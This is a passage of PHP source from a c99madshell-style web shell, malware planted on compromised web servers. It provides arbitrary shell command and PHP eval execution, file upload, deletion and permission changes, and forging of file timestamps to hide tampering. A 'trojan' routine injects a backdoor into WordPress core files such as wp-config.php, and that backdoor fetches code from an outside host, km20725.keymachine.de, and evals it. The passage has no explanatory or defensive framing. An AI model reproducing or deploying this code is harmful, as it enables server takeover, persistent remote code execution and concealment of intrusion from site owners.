	} elseif($vuln == 'blog_name_sql') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '$blog_name = $wpdb->escape($blog_name);') !== FALSE) {
			return true;
		} else {
			return false;
		}
	} elseif($vuln == 'tb_id') {
		$content = @implode('', @file($file));
		if(!$content) {
			return false;
		}
		if(strpos($content, '$tb_id = intval($tb_id);') !== FALSE) {
			return true;
		} else {
			return false;
		}
	}
}
?>
<p align="left"><?php
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = @realpath(".");} elseif(@realpath($d)) {$d = @realpath($d);}
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\","\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
 $t = "";
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.DIRECTORY_SEPARATOR;
  if ($j == $i) {break;}
  $j++;
 }
 echo "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($t)."';document.todo.sort.value='".$sort."';document.todo.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 $i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (@is_writable($d))
{
 $wd = TRUE;
 $wdt = "<font color=green>[ ok ]</font>";
 echo "<b><font color=green>".view_perms(@fileperms($d))."</font></b>";
}
else
{
 $wd = FALSE;
 $wdt = "<font color=red>[ Read-Only ]</font>";
 echo "<b>".view_perms_color($d)."</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
 $v = explode("\",$d);
 $v = $v[0];
 foreach (range("a","z") as $letter)
 {
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  if (!$bool) {$bool = @is_dir($letter.":\");}
  if ($bool)
  {
   $letters .= "<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".urlencode($letter.":\")."';document.todo.submit();\">[ ";
   if (strtolower($letter.':') != strtolower($v)) {$letters .= $letter;}
   else {$letters .= "<font color=\"#00FF66\">".$letter."</font>";}
   $letters .= " ]</a> ";
  }
 }
 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
 foreach($quicklaunch as $item)
 {
  $item[1] = str_replace("%d",urlencode($d),$item[1]);
  $item[1] = str_replace("%sort",$sort,$item[1]);
  $v = @realpath($d."..");
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);

  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 }
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if($act == 'patch') {
	$vuln = $wp_act;
	if($vuln == 'xmlrpc1') {
		$content = @implode('', @file($wp_path.'xmlrpc.php'));
		$content = str_replace('\'pingback.ping\' => \'this:pingback_ping\',', '//\'pingback.ping\' => \'this:pingback_ping\',', $content);
		$result = save_file($wp_path.'xmlrpc.php', $content);
	} elseif($vuln == 'xmlrpc2') {
		$content = @implode('', @file($wp_path.'xmlrpc.php'));
		$content = str_replace('\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',', '//\'pingback.extensions.getPingbacks\' => \'this:pingback_extensions_getPingbacks\',', $content);
		$result = save_file($wp_path.'xmlrpc.php', $content);
	} elseif($vuln == 'admin_ajax') {
		if(file_exists($wp_path.'wp-includes/pluggable.php')) {
			$content = @implode('', @file($wp_path.'wp-includes/pluggable.php'));
			$content = str_replace('$user_login = sanitize_user( $user_login );', '$user_login = sanitize_user( $user_login );'."
	".'$user_login = $wpdb->escape($user_login); ', $content);
			$result = save_file($wp_path.'wp-includes/pluggable.php', $content);
		}
		if(file_exists($wp_path.'wp-includes/pluggable-functions.php')) {
			$content = @implode('', @file($wp_path.'wp-includes/pluggable-functions.php'));
			$content = str_replace('$user_login = sanitize_user( $user_login );', '$user_login = sanitize_user( $user_login );'."
	".'$user_login = $wpdb->escape($user_login); ', $content);
			$result = save_file($wp_path.'wp-includes/pluggable-functions.php', $content);
		}
	} elseif($vuln == 'blog_name_sql') {
		$content = @implode('', @file($wp_path.'wp-trackback.php'));
		$content = str_replace('if ( is_single() || is_page() )', '$blog_name = $wpdb->escape($blog_name);'."
".'if ( is_single() || is_page() )', $content);
		$result = save_file($wp_path.'wp-trackback.php', $content);
	} elseif($vuln == 'tb_id') {
		$content = @implode('', @file($wp_path.'wp-trackback.php'));
		preg_match('%\$tb_url(\s+)= \$_POST\[\'url\'\];%i', $content, $ret);
		$content = str_replace('$tb_url'.$ret[1].'= $_POST[\'url\'];', '$tb_id = intval($tb_id); '."
".'$tb_url    = $_POST[\'url\'];', $content);
		$result = save_file($wp_path.'wp-trackback.php', $content);
	} else {
		$result = false;
	}
	if(isset($result) && $result) {
		echo('<center><font color="green"><b>Patching OK!!!</b></font></center>');
		echo('<script>document.getElementById(\''.$vuln.'\').style.cssText="font-size: 6pt;background-color: yellow; color: black";document.getElementById(\''.$vuln.'\').disabled=true;</script>');
	} else {
		echo('<center><font color="red"><b>Patching NO!!!</b></font></center>');
	}
	$d = $wp_path;
	$act = 'ls';
}
if($act =='trojan') {
	switch($wp_act) {
		case 'index':			$file = $wp_path.'index.php'; break;
		case 'wp-blog-header':	$file = $wp_path.'wp-blog-header.php'; break;
		case 'wp-config':		$file = $wp_path.'wp-config.php'; break;
		case 'wp-settings':		$file = $wp_path.'wp-settings.php'; break;
		case 'template-loader':	$file = $wp_path.'wp-includes/template-loader.php'; break;
		//case 'template':		$file = $wp_path.'wp-trackback.ph'; break;
	}
	$content = @implode('', @file($file));
	if(@ini_get('allow_url_fopen')==1) {
		$trojan = '<?php if(isset($_GET[\'p\'])) {
    eval(@file_get_contents(\'http://km20725.keymachine.de/server/index.php?host=\'.$_SERVER[\'SERVER_NAME\'].\'&p=\'.$_GET[\'p\']));
} ?>'."
";
	} else {
		$trojan = '<?php if(isset($_GET[\'p\'])) {
    $sock = @fsockopen(\'km20725.keymachine.de\', 80);
    if($sock){
    fwrite ($sock, \'GET http://km20725.keymachine.de/server/index.php?host=\'.$_SERVER[\'SERVER_NAME\'].\'&p=\'.$_GET[\'p\'].\' HTTP/1.0\'."
");
    fwrite ($sock, \'Host: km20725.keymachine.de\'."

");
    while($content[] = fgets ($sock));
    $content = implode(\'\', $content);
    eval(trim(substr($content, strpos($content, "

"))));
    fclose ($sock);}
} ?>'."
";
	}
	$content = $trojan.$content;
	$result = save_file($file, $content);
	if($result) {
		echo('<center><font color="green"><b>Trojaning OK!!!</b></font></center>');
		echo('<script>document.getElementById(\''.$wp_act.'\').style.cssText="font-size: 6pt;background-color: yellow; color: black";document.getElementById(\''.$wp_act.'\').disabled=true;</script>');
	} else {
		echo('<center><font color="red"><b>Trojaning NO!!!</b></font></center>');
	}
	$d = $wp_path;
	$act = 'ls';
}
if ($act == "mkdir")
{
 if ($mkdir != $d)
 {
  if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  echo "<br><br>";
 }
 $act = $dspact = "ls";
}

if ($act == "d")
{
 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
 else
 {
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  if (!$win)
  {
   echo "<tr><td><b>Owner/Group</b></td><td> ";
   $ow = posix_getpwuid(fileowner($d));
   $gr = posix_getgrgid(filegroup($d));
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  }
  echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
 }
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
if ($act == "mkfile")
{
 if ($mkfile != $d)
 {
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
 }
 else {$act = $dspact = "ls";}
}

if ($act == "selfremove")
{
 if (($submit == $rndcode) and ($submit != ""))
 {
  if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99madshell v.".$shver."!"; c99shexit(); }
  else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
 }
 else
 {
  if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  $rnd = rand(0,9).rand(0,9).rand(0,9);
  echo "<form method=\"POST\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
 }
}
if($act == 'touch') {
	if(is_link($d.$f) || $f == '.' || $f == '..') {
		echo('<font color="red">ONLY FILE AND CATALOGS!!!</font>');
		$act = 'ls';
	} else {
		if(!isset($submit)) {
			$time_array = explode(':',@date("d:m:Y:H:i:s",@filemtime($d.$f)));
		echo("
		<form method=\"POST\">
		<input name='act' type='hidden' value='touch'>
		<input name='f' type='hidden' value='".urlencode($f)."'>
		<input name='d' type='hidden' value='".urlencode($d)."'>
		<input type=submit name=submit value=\"Save\">&nbsp;
		<input type=\"reset\" value=\"Reset\">&nbsp;
		<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br>Current file's time: ".@date("d.m.Y H:i:s", filemtime($d.$f)).'
<br />Set new date:
<select name="day" size="1">');
echo($time_array[0]);
for($i=1;$i<32;++$i) {
	$i2 = (strlen($i)==1)?'0'.$i:$i;
	echo('<option value="'.$i2.'" '.(($time_array[0]==$i2)?' selected':'').'>'.$i2.'</option>');
}
echo('</select>
&nbsp;<b>Month</b>
<select name="month" size="1">
<option value="January" '.(($time_array[1]=='01')?'selected':'').'>January ---(01)</option>
<option value="February" '.(($time_array[1]=='02')?'selected':'').'>February --(02)</option>
<option value="March" '.(($time_array[1]=='03')?'selected':'').'>March ------(03)</option>
<option value="April" '.(($time_array[1]=='04')?'selected':'').'>April --------(04)</option>
<option value="May" '.(($time_array[1]=='05')?'selected':'').'>May ---------(05)</option>
<option value="June" '.(($time_array[1]=='06')?'selected':'').'>June --------(06)</option>
<option value="July" '.(($time_array[1]=='07')?'selected':'').'>July ---------(07)</option>
<option value="August" '.(($time_array[1]=='08')?'selected':'').'>August -----(08)</option>
<option value="September" '.(($time_array[1]=='09')?'selected':'').'>September -(09)</option>
<option value="October" '.(($time_array[1]=='10')?'selected':'').'>October ----(10)</option>
<option value="November" '.(($time_array[1]=='11')?'selected':'').'>November --(11)</option>
<option value="December" '.(($time_array[1]=='12')?'selected':'').'>December --(12)</option>
</select>

&nbsp;<b>Year</b>
<select name="year" size="1">');
echo($time_array[0]);
for($i=1998;$i<2010;++$i) {
	echo('<option value="'.$i.'" '.(($time_array[2]==$i)?' selected':'').'>'.$i.'</option>');
}
echo('</select>

&nbsp;<b>Hour </b>
<select name="chasi" size="1">');
echo($time_array[0]);
for($i=1;$i<60;++$i) {
	$i2 = (strlen($i)==1)?'0'.$i:$i;
	echo('<option value="'.$i2.'" '.(($time_array[3]==$i2)?' selected':'').'>'.$i2.'</option>');
}
echo('</select>

&nbsp;<b>Minute </b>
<select name="minutes" size="1">');
echo($time_array[0]);
for($i=1;$i<60;++$i) {
	$i2 = (strlen($i)==1)?'0'.$i:$i;
	echo('<option value="'.$i2.'" '.(($time_array[4]==$i2)?' selected':'').'>'.$i2.'</option>');
}
echo('</select>

&nbsp;<b>Second </b>
<select name="second" size="1">');
echo($time_array[0]);
for($i=1;$i<60;++$i) {
	$i2 = (strlen($i)==1)?'0'.$i:$i;
	echo('<option value="'.$i2.'" '.(($time_array[5]==$i2)?' selected':'').'>'.$i2.'</option>');
}
echo('</select></form>');
$act = 'ls';
		} else {
	$datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
	$datar = @strtotime($datar);
	if(@touch($d.$f,$datar,$datar)) {
		echo('<center><b><font color=green>Time was been change successfull</font></b></center>');
	} else {
		echo('<center><b><font color=red>Time NOT changed!!!</font></b></center>');
	}
	$act = 'ls';
}
	}
}

if ($act == "search")
{
 echo "<b>Search in file-system:</b><br>";
 if (empty($search_in)) {$search_in = $d;}
 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
 if (!empty($submit))
 {
  $found = array();
  $found_d = 0;
  $found_f = 0;
  $search_i_f = 0;
  $search_i_d = 0;
  $a = array
  (
   "name"=>@$search_name, "name_regexp"=>@$search_name_regexp,
   "text"=>@$search_text, "text_regexp"=>@$search_text_regxp,
   "text_wwo"=>@$search_text_wwo,
   "text_cs"=>@$search_text_cs,
   "text_not"=>@$search_text_not
  );
  $in = array_unique(explode(";",$search_in));
  foreach($in as $v) {c99fsearch($v);}
  if (count($found) == 0) {echo "<b>No files found!</b>";}
  else
  {
   $ls_arr = $found;
   $disp_fullpath = TRUE;
   $act = "ls";
  }
 }
 echo "<form method=POST>
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".@htmlspecialchars($search_text)."</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".(@$search_text_regexp == 1?" checked":"")."> - regexp
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".(@$search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".(@$search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".(@$search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
}
if ($act == "chmod")
{
 $mode = fileperms($d.$f);
 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
 else
 {
  $form = TRUE;
  if (isset($chmod_submit))
  {
	if(empty($hand)) {
	$octet = '0'.base_convert((isset($chmod_o["r"])?1:0).(isset($chmod_o["w"])?1:0).(isset($chmod_o["x"])?1:0).(isset($chmod_g["r"])?1:0).(isset($chmod_g["w"])?1:0).(isset($chmod_g["x"])?1:0).(isset($chmod_w["r"])?1:0).(isset($chmod_w["w"])?1:0).(isset($chmod_w["x"])?1:0),2,8);
	} else {
		if(substr($hand,0,1)==0) { $octet = $hand; } else {$octet = '0'.$hand; }

	}
	if(!isset($recurs)) $recurs = 0;
	if(is_dir($d.$f) && $recurs== 1) {
		$result = setRecursPerm($d.$f,intval($octet,8));
		list($good, $bad) = explode(':', $result);
		echo('<b>Result: <font color="green">'.$good.'=> Success</font>, <font color="red">'.$bad.'=>BAD</font><b><br>');
	} else {
		if (@chmod($d.$f,intval($octet,8))) {
			clearstatcache();
			$act = 'ls';
			$form = FALSE;
			$err = '';
		} else {
			$err = 'Can\'t chmod to '.$octet.'.';
		}
	}
  }
  if ($form)
  {
   $perms = parse_perms($mode);
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".(isset($err)?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=text name=hand value=\"\"><br />";
   if(is_dir($d.$f)) {
	echo "<input type=checkbox NAME=recurs value=1 checked=\"checked\"> Use recursive<br>";
   }
   echo "<br><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  }
 }
}
if ($act == "upload") {
	$uploadmess = '';
	if(isset($_FILES['uploadfile']) && !empty($_FILES['uploadfile']['tmp_name'])) {
		$uploadpath = $d;
		$destin = $_FILES['uploadfile']["name"];
		if (!move_uploaded_file($_FILES['uploadfile']['tmp_name'],$uploadpath.$destin)) {$uploadmess .= "<font color=red>Error uploading file ".$_FILES['uploadfile']['name']." (can't copy \"".$_FILES['uploadfile']['tmp_name']."\" to \"".$uploadpath.$destin."\"!</font><br>";} else {
			$uploadmess = '<font color=green>File success uploaded</font>';
		}
	}
	echo "<center><b>".$uploadmess."</b></center>";
	$act = 'ls';
}
if ($act == "delete")
{
 $delerr = "";
 foreach ($actbox as $v)
 {
  $result = FALSE;
  $result = fs_rmobj($v);
  if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
 }
 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
 $act = "ls";
}
if ($act == "cmd")
{
 @chdir($chdir);
 if (!empty($submit))
 {
  echo "<b>Result of execution this command</b>:<br>";
  $olddir = realpath(".");
  @chdir($d);
  $ret = myshellexec($cmd);
  $ret = convert_cyr_string($ret,"d","w");
  if ($cmd_txt)
  {
   $rows = count(explode("
",$ret))+1;
   if ($rows < 10) {$rows = 10;}
   echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  }
  else {echo $ret."<br>";}
  @chdir($olddir);
 }
 else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
 echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".@htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
if ($act == "ls")
{
 if (count($ls_arr) > 0) {$list = $ls_arr;}
 else
 {
  $list = array();
  if ($h = @opendir($d))
  {
   while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
   closedir($h);
  }
  else {}
 }
 if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
 else
 {
  //Building array
  $objects = array();
  $vd = "f"; //Viewing mode
  if ($vd == "f")
  {
   $objects["head"] = array();
   $objects["folders"] = array();
   $objects["links"] = array();
   $objects["files"] = array();
   foreach ($list as $v)
   {
    $o = @basename($v);
    $row = array();
    if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
    elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
    elseif (is_dir($v))
    {
     if (@is_link($v)) {$type = "LINK";}
     else {$type = "DIR";}
     $row[] = $v;
     $row[] = $type;
    }
    elseif(@is_file($v)) {$row[] = $v; $row[] = @filesize($v);}
    $row[] = @filemtime($v);
    if (!$win)
    {
     $ow = @posix_getpwuid(@fileowner($v));
     $gr = @posix_getgrgid(@filegroup($v));
     $row[] = ($ow["name"]?$ow["name"]:@fileowner($v))."/".($gr["name"]?$gr["name"]:@filegroup($v));
    }
    $row[] = @fileperms($v);
    if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
    elseif (@is_link($v)) {$objects["links"][] = $row;}
    elseif (@is_dir($v)) {$objects["folders"][] = $row;}
    elseif (@is_file($v)) {$objects["files"][] = $row;}
    $i++;
   }
   $row = array();
   $row[] = "<b>Name</b>";
   $row[] = "<b>Size</b>";
   $row[] = "<b>Modify</b>";
   if (!$win)
  {$row[] = "<b>Owner/Group</b>";}
   $row[] = "<b>Perms</b>";
   $row[] = "<b>Action</b>";
   $parsesort = parsesort($sort);
   $sort = $parsesort[0].$parsesort[1];
   $k = $parsesort[0];
   if ($parsesort[1] != "a") {$parsesort[1] = "d";}
   $y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";
   $row[$k] .= $y;
   for($i=0;$i<count($row)-1;$i++)
   {
    if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";}
   }
   $v = $parsesort[0];
   usort($objects["folders"], "tabsort");
   usort($objects["links"], "tabsort");
   usort($objects["files"], "tabsort");
   if ($parsesort[1] == "d")
   {
    $objects["folders"] = array_reverse($objects["folders"]);
    $objects["files"] = array_reverse($objects["files"]);
   }
   $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
   $tab = array();
   $tab["cols"] = array($row);
   $tab["head"] = array();
   $tab["folders"] = array();
   $tab["links"] = array();
   $tab["files"] = array();
   $i = 0;
   foreach ($objects as $a)
   {
    $v = $a[0];
    $o = basename($v);
    $dir = dirname($v);
    if ($disp_fullpath) {$disppath = $v;}
    else {$disppath = $o;}
    $disppath = str2mini($disppath,60);

    $uo = urlencode($o);
    $ud = urlencode($dir);
    $uv = urlencode($v);
    $row = array();
    if ($o == ".")
    {
     $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
     $row[] = "LINK";
    }
    elseif ($o == "..")
    {
     $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
     $row[] = "LINK";
    }
    elseif (is_dir($v))
    {
     if (is_link($v))
     {
      $disppath .= " => ".readlink($v);
      $type = "LINK";
      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";         }
     else
     {
      $type = "DIR";
      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";
     }
     $row[] = $type;
    }
    elseif(is_file($v))
    {
     $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.ft.value='edit';document.todo.f.value='".$uo."';document.todo.submit();\">".$disppath."</a>";
     $row[] = view_size($a[1]);
    }
    $row[] = '<a href="#" onclick="document.todo.act.value=\'touch\';document.todo.d.value=\''.$ud.'\';document.todo.f.value=\''.$uo.'\';document.todo.submit();">'.@date("d.m.Y H:i:s",$a[2]).'</a>';
    if (!$win) {$row[] = $a[3];}
     $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";
    if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
    else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
    if (@is_dir($v)){$row[] = $checkbox;}
    else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='delete';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">X</a>&nbsp;".$checkbox;}
    if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
    elseif (@is_link($v)) {$tab["links"][] = $row;}
    elseif (@is_dir($v)) {$tab["folders"][] = $row;}
    elseif (@is_file($v)) {$tab["files"][] = $row;}
    $i++;
   }
  }
  //Compiling table
  $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  foreach($table as $row)
  {
   echo "<tr>
";
   foreach($row as $v) {echo "<td>".$v."</td>
";}
   echo "</tr>
";
  }
  echo "</table><hr size=\"1\" noshade><p align=\"right\">
  <script>
  function ls_setcheckboxall(status)
  {
   var id = 0;
   var num = ".(count($table)-2).";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = status;
    id++;
   }
  }
  function ls_reverse_all()
  {
   var id = 0;
   var num = ".(count($table)-2).";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
    id++;
   }
  }
  </script>
  <input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>";
  echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  echo "</form>";
 }
}
if ($act == "eval")
{
 if (!empty($eval))
 {
  echo "<b>Result of execution this PHP-code</b>:<br>";
  $tmp = ob_get_contents();
  $olddir = realpath(".");
  @chdir($d);
  if ($tmp)
  {
   ob_clean();
   eval($eval);
   $ret = ob_get_contents();
   $ret = convert_cyr_string($ret,"d","w");
   ob_clean();
   echo $tmp;
   if ($eval_txt)
   {
    $rows = count(explode("
",$ret))+1;
    if ($rows < 10) {$rows = 10;}
    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
   }
   else {echo $ret."<br>";}
  }
  else
  {
   if ($eval_txt)
   {
    echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
    eval($eval);
    echo "</textarea>";
   }
   else {echo $ret;}
  }
  @chdir($olddir);
 }
 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
